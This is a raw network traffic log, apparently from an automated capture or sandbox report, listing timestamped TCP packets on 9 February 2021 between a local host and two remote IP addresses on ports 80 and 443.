Feb 9, 2021 11:54:55.488672018 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.488686085 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.488708019 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.488713026 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.488746881 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.488785028 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.488787889 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.488800049 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.488806009 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.488837957 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.488868952 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.488884926 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.488979101 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.489021063 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.489032030 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.489068031 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.489070892 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.489120960 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.490140915 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.507531881 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.507589102 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.507630110 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.507664919 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.507713079 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.507738113 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.507754087 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.507757902 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.507762909 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.507767916 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.507771969 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.507791996 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.507832050 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.507869959 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.507873058 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.507885933 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.507893085 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.507917881 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.507960081 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.507982969 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.507994890 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.507997990 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508001089 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508037090 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508059025 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508079052 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508080959 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508116007 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508126974 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508155107 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508169889 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508194923 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508224964 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508243084 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508245945 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508285999 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508311987 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508323908 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508332968 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508366108 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508383036 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508413076 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508426905 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508476019 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508485079 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508543968 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508560896 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508596897 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508601904 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508649111 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508666039 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508711100 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508716106 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508748055 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508783102 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508785963 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508791924 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508825064 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508841991 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508862019 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508876085 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508899927 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.508900881 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.508949041 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.526561975 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.562275887 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.562329054 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.562369108 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.562406063 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.562444925 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.562483072 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.562511921 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.562530041 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.562546968 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.562552929 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.562572956 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.562591076 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.562628984 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.563244104 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.563285112 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.563323975 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.563328981 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.563344955 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.563374043 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.563384056 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.563420057 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.563440084 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.563461065 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.563497066 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.563613892 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.563616991 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.563652992 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.563770056 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.564260006 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.581644058 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.581691027 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.581729889 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.581770897 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.581815004 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.581818104 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.581845999 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.581857920 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.581862926 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.581866026 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.581901073 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.581928968 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.581940889 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.582027912 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.582056046 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.599503040 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.599553108 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.599585056 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.599626064 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.599666119 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.599695921 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.599704981 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.599733114 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.599740028 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.599742889 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.599771976 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.599781036 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.599783897 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.599819899 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.599833012 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.599858999 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.599900007 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.599909067 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.599914074 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.599952936 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.599968910 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.599991083 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.600020885 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.600029945 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.600045919 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.600069046 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.600087881 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.600109100 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.600143909 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.600147963 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.600183964 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.600187063 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.600198030 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.600235939 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.600250959 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.600280046 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.600294113 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.600317955 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.600336075 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.600357056 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.600375891 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.600394964 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.600409031 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.600434065 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.600462914 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.600485086 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.618796110 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.635482073 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.635550976 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.635596037 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.635634899 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.635674953 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.635713100 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.635751009 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.635790110 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.635829926 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.635864019 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.635879993 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.635881901 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.635885000 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.635917902 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.635924101 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.635962009 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.635962009 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.635999918 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636003017 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636039019 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636042118 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636080027 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636082888 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636117935 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636121988 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636157036 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636161089 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636204958 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636209011 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636245012 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636253119 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636293888 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636292934 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636329889 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636332989 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636365891 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636370897 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636404037 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636408091 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636441946 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636446953 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636483908 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636486053 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636522055 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636533022 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636571884 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636576891 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636614084 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636615038 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636650085 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636653900 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636688948 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636692047 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636725903 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636728048 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636763096 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636765957 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636800051 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636806011 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636843920 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636853933 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636890888 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636897087 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636933088 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636934996 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.636970043 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.636974096 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637006044 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637012005 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637048006 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637048960 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637084961 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637089014 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637125015 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637128115 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637161970 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637175083 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637212992 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637217999 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637254000 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637254953 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637291908 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637295008 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637329102 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637334108 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637370110 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637371063 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637408018 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637447119 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637490034 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637502909 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637526989 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637533903 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637562990 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637564898 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637600899 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637603045 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637639046 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637639999 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637674093 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637677908 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637712002 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637715101 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637753010 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.637756109 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.637795925 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:56.766880989 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:56.766980886 CET	49188	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:58.327354908 CET	49190	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:58.327574015 CET	49191	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:58.398399115 CET	80	49190	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:58.398598909 CET	49190	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:58.399418116 CET	80	49191	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:58.399535894 CET	49191	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:58.401204109 CET	49190	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:58.472069979 CET	80	49190	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:58.487428904 CET	80	49190	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:58.487479925 CET	80	49190	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:58.487510920 CET	80	49190	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:58.487582922 CET	49190	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:58.487615108 CET	49190	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:59.364723921 CET	49190	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:59.365035057 CET	49191	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:55:44.596987963 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:44.639780045 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:44.639950037 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:44.640223980 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:44.682928085 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:44.685482025 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:44.685542107 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:44.685575008 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:44.685602903 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:44.685652971 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:44.685659885 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:44.693778038 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:44.734816074 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:44.735537052 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:44.735615015 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:44.739928007 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:44.780884027 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:45.454607010 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:45.454636097 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:45.454677105 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:45.454722881 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:45.455305099 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:45.498905897 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.163480043 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.163528919 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.163568974 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.163593054 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.163595915 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.163614035 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.163636923 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.163650036 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.163690090 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.163700104 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.163746119 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.163801908 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.163815022 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.163858891 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.163914919 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.163929939 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.163959026 CET	49194	443	192.168.2.22	104.16.249.249
Feb 9, 2021 11:55:46.163969040 CET	443	49194	104.16.249.249	192.168.2.22
Feb 9, 2021 11:55:46.164002895 CET	443	49194	104.16.249.249	192.168.2.22
